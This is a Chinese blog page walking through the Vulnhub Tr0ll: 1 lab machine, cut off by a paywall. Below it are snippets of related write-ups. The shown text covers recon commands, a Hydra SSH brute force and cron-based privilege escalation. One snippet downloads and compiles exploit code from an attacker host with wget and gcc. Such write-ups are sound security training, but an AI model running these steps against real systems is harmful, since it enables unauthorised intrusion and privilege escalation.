Vulnhub靶机系列：Tr0ll: 1

最新推荐文章于 2025-11-08 13:30:00 发布
原创 最新推荐文章于 2025-11-08 13:30:00 发布 · 1.6k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#linux #vulnhub #信息安全 #python

本文详细介绍了在Vulnhub上的Tr0ll: 1靶机挑战，通过信息收集、端口扫描发现FTP服务，并利用匿名登录获取流量包。通过Wireshark分析流量包，找到敏感文件，并使用Hydra进行SSH爆破。最终通过修改定时脚本实现提权到root权限。

这次的靶机是Vulnhub靶机：Tr0ll: 1

文章目录

靶机地址及相关描述

https://www.vulnhub.com/entry/tr0ll-1%2C100/
文件大小: 434 MB
MD5: 318FE0B1C0DD4FA0A8DCA43EDACE8B20
SHA1: 9C459ED10166ACAB9B7D880414A9B0FDDB51F037
如果有感觉下载速度太慢的，可以私我靶机名发你百度云链接

靶机设置

开启虚拟机前分配一个和攻击机一样的网卡，选择我已移动该虚拟机；
开启虚拟机后，netdiscover确认一下目标在这里插入图片描述
可以看到我这里的靶机ip：192.168.190.187

利用知识及工具

Linux的定时任务、ftp、ssh、nmap、hydra、wireshark等

信息收集并getshell

先访问首页在这里插入图片描述
因为首页没啥东西，所以先扫目录curl 192.168.190.187
看到有个robots.txt文件，这文件什么意思不用再说了吧
在这里插入图片描述
本着讽刺性反弹的效应，访问一下
在这里插入图片描述
也没东西=_=
dirmap再扫一下，也没有收获
只能扫端口了nmap -sVV 192.168.190.187
扫描结果，可以看到有个ftp服务，

Starting Nmap 7.80 ( https://nmap.org
最低0.47元/天 解锁文章
VulnHub-Tr0ll1靶机实战
千寻的博客
01-12 877
靶机下载地址 https://www.vulnhub.com/entry/tr0ll-1,100/ 环境: Vmware 15.5 靶机地址:192.168.246.128 kali地址:192.168.246.131 第一部分 信息收集 第一步 进行端口扫描，去发现存活主机，发现主机开放21、22、80端口 namp -sP 192.168.246.0/24 nmap -sS -sV -TS -A -P- 192.168.246.131 第二步 访问80端口 第三步 只能
【Vulnhub通关】Tr0ll: 1
icewolf00的博客
02-28 1540
Tr0ll: 1LinuxNAT渗透测试目标：获取靶机root权限并读取Flag文件。
【渗透测试】VulnHub-Tr0ll:1
m0_52923241的博客
11-04 360
VulnHub-Tr0ll:1VulnHub-Tr0ll:1渗透详细思路小知识点常用工具篇 VulnHub-Tr0ll:1渗透详细思路 VulnHub-Tr0ll:1渗透详细思路 这是我打的第四个靶机，思路比以前清晰很多，一些常用的工具 nmap找目标ip，开放端口（21：ftp；22：ssh；80：http），访问web页面寻找有用信息 dirb扫目录 cd /tmp wget http://192.168.246.129/37292.c gcc 37292.c -o exp chmod +x exp .
Tr0ll 1 (VulnHub)做题笔记
最新发布
2401_86646880的博客
11-08 321
先知道自己虚拟机的ip地址然后扫描挂载机的题目ip用arp-scan -l就行。
vulnhub-Tr0ll: 1 （考点：脑洞/猜猜猜/linux提权思路）
冬萍子癸水
04-22 364
https://www.vulnhub.com/entry/tr0ll-1,100/ nat网络 arp-scan -l 比平常多出来的ip就是靶机了 这台靶机挺考脑洞的。猜猜猜，没什么意思，所以这次我写的很简单…这也是我不喜欢ctf的地方，愿早日进入实战派吧。。。 nmap 看到21要想到进ftp找敏感文件。看到22要想到可能通过ssh登录拿shell 21/tcp open ftp ...
No.4-VulnHub-Tr0ll:1-Walkthrough渗透学习
qq_34801745的博客
12-30 1579
** VulnHub-Tr0ll:1-Walkthrough ** 靶机地址：https://www.vulnhub.com/entry/tr0ll-1,100/ 靶机难度：简单（CTF） 靶机发布日期：2014年8月14日 靶机描述：Tr0ll的灵感来自OSCP实验室中不断摇曳的机器 目标：得到root权限&找到proof.txt 作者：大余 时间：2019-12-30 请注意：对于所有...
vulnhub靶机Tr0ll:1渗透笔记
weixin_52268949的博客
03-12 5722
Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信息收集 首先通过nmap扫描靶机ip地址 nmap -sP 192.168.20.0/24 确定靶机ip 扫描开放端口 nmap -sV 192.168.20.129 发现21 和80 端口可能有用我们先来看看80端口 并没有发现什么信息我们使用dirb扫描一下目录 dirb http://192.1
vulnhub靶机Tr0ll渗透笔记
liver100day的博客
06-08 1026
Tr0ll靶机渗透笔记 靶机环境搭建 攻击渗透机： kali IP地址：192.168.75.128 靶机：Tr0ll IP地址未知 靶机下载地址：https://www.vulnhub.com/entry/tr0ll-1,100/ 渗透过程 1.信息收集 1.1 主机发现 arp-scan -l 扫描局域网所有设备（所有设备IP、MAC地址、制造商信息） 1.2 端口扫描（masscan或nmap） messcan --rate=100000 -p 0-65535 192.168.75.147
VulnHub-Tr0ll1.zip
01-12
VulnHub-Tr0ll1靶机学习笔记，一部分是学习笔记过程，另一部分是学习过程整理的lol.pacp\.c文档、user.txt等文档，供大家参考学习
Tr0ll: 1靶场渗透测试
sucker的博客
02-28 1140
好吧，好吧，好吧，你不是一个聪明的小恶魔吗，你差点找到Sup3rs3cr3tdirol:-P\n。9，既然信息收集到了用户名字典和密码，接下来就是hydra爆破ssh。被耍了，没有什么用，再访问/sup3rs3cr3tdirlol。dir列出文件夹下的文件，分析存在一个流量包，直接把它导出来。4，既然知道开放了21端口，那就对ftp服务器匿名登录访问。设置主动模式，服务器将连接客户端指定的 IP 和端口。在info一栏注意到NO.40，分析详情信息，存在提示。
vulnhub Tr0ll: 1
箭雨镜屋
12-20 1856
本文思路： nmap扫描开放端口---->匿名登录ftp，下载lol.pcap---->wireshark打开并分析lol.pcap，找到sup3rs3cr3tdirlol目录---->sup3rs3cr3tdirlol目录下找到roflmao，执行后发现0x0856BF目录---->hydra爆破得到ssh用户名密码---->提权：内核版本漏洞提权（或者定时任务提权）
Vulnhub系列-Tr0ll-1
Yasso的博客
12-23 1705
靶机：192.168.249.135 kali: 192.168.249.132 一、信息收集 nmap -sS -sV -A 192.168.249.135 —查看开放端口及服务探测 21端口ftp服务、80端口 nikto -host http://192.168.249.135/—对80端口http服务深入探测(并无可用信息) 访问下21端口ftp服务 –发现个pcap数据包，用wireshark查看下追踪TCP流– 发现用户名/密码=anonymous/password(貌似假的ssh连不上)
VulnHub-Tr0ll-靶机渗透学习
嗯嗯呐的博客
11-15 2157
**靶机地址：https://www.vulnhub.com/entry/tr0ll-1,100/ 靶机难度：简单（CTF） 靶机描述：Tr0ll的灵感来自OSCP实验室中不断摇曳的机器 目标：得到root权限目录一、信息收集二、流量分析三、口令爆破四、内核漏洞提权五、总结 一、信息收集 Nmap 扫描确定靶机的IP地址 扫描存活端口 访问80端口，没有获得有用的信息 使用dirb爆破一下目录 dirb http://192.168.16.136/ 分别访问试试看，没有获得有用的信息 在上面端口
【oscp系列-Tr0ll-1】靶机4
weixin_44807430的博客
01-16 783
知行合一
Tr0ll:1靶机-Walkthrough
ins1ght的博客
09-14 2454
Tr0ll:1靶机，比较基础，提供了2种思路和5种提权方法。
VulnHub的Tr0ll靶机训练
ccssggoo的博客
03-09 3228
靶机下载地址:https://download.vulnhub.com/tr0ll/Tr0ll.rar​​​​​​ 渗透机kali2022 靶机:Tr0ll 安装好靶机后用netdiscover -r 192.168.10.0/24发现ip，在用nmap工具扫描发现的ip找到搭建好的靶机ip
渗透测试靶机---Tr0ll
久恙502的博客
10-28 642
渗透测试，打靶经历记录，大佬多多指点，谢谢！
Tr0ll靶机练习
IWANnaaa的博客
01-08 205
Tr0ll靶机 思路借鉴红队笔记
vulnhub靶机系列：
09-09
1. Kioptrix：这是一个非常受欢迎的系列，包含了多个不同难度级别的靶机。从初级到高级的挑战，覆盖了各种网络安全知识。 2. Metasploitable：这个系列模拟了一个容易受到攻击的系统，用于学习Metasploit框架和漏洞...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值